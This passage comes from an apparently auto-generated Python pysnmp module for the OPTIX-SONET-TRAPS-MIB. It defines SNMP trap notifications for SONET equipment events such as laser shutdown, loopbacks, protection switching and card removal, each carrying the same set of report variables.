6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33332)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserShutDown.setStatus('current') evtLoopbackAllDS1FEAC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33333)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackAllDS1FEAC.setStatus('current') evtLoopbackCrossConnect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33335)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackCrossConnect.setStatus('current') evtLoopbackDS1FEAC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33336)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackDS1FEAC.setStatus('current') evtLoopbackDS3FEAC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33337)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackDS3FEAC.setStatus('current') evtLoopbackFacilityPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33345)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackFacilityPath.setStatus('current') evtLoopbackTerminalPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33347)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackTerminalPath.setStatus('current') evtPrimaryChannelChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33348)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPrimaryChannelChange.setStatus('current') evtRAI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33349)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRAI.setStatus('current') evtSsmDQL = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33350)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSsmDQL.setStatus('current') evtSsmLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33351)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSsmLOS.setStatus('current') evtTestSessionActive = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33361)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTestSessionActive.setStatus('current') evtNormalSyncMode = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33363)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtNormalSyncMode.setStatus('current') evtSwitchProtectionToWorkingUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33364)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwitchProtectionToWorkingUnit.setStatus('current') evtSwtichWokingToProtectingUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33365)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwtichWokingToProtectingUnit.setStatus('current') evtATECardOfflineOrUninstalled = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33368)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtATECardOfflineOrUninstalled.setStatus('current') evtPIUCardOfflineOrUninstalled = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33370)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPIUCardOfflineOrUninstalled.setStatus('current') evtOOF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33372)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOOF.setStatus('current') evtExerciseSwitchSuccess = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33373)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExerciseSwitchSuccess.setStatus('current') evtExerciseSwitchFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33374)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExerciseSwitchFail.setStatus('current') evtUpgradeInProcess = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33375)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtUpgradeInProcess.setStatus('current') evtChassisMea = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33377)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtChassisMea.setStatus('current') evtLaserNotExist = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36923)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserNotExist.setStatus('current') evtLCASBandwidthReduced = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36924)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLCASBandwidthReduced.setStatus('current') evtGFPLossOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36925)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtGFPLossOfFrame.setStatus('current') 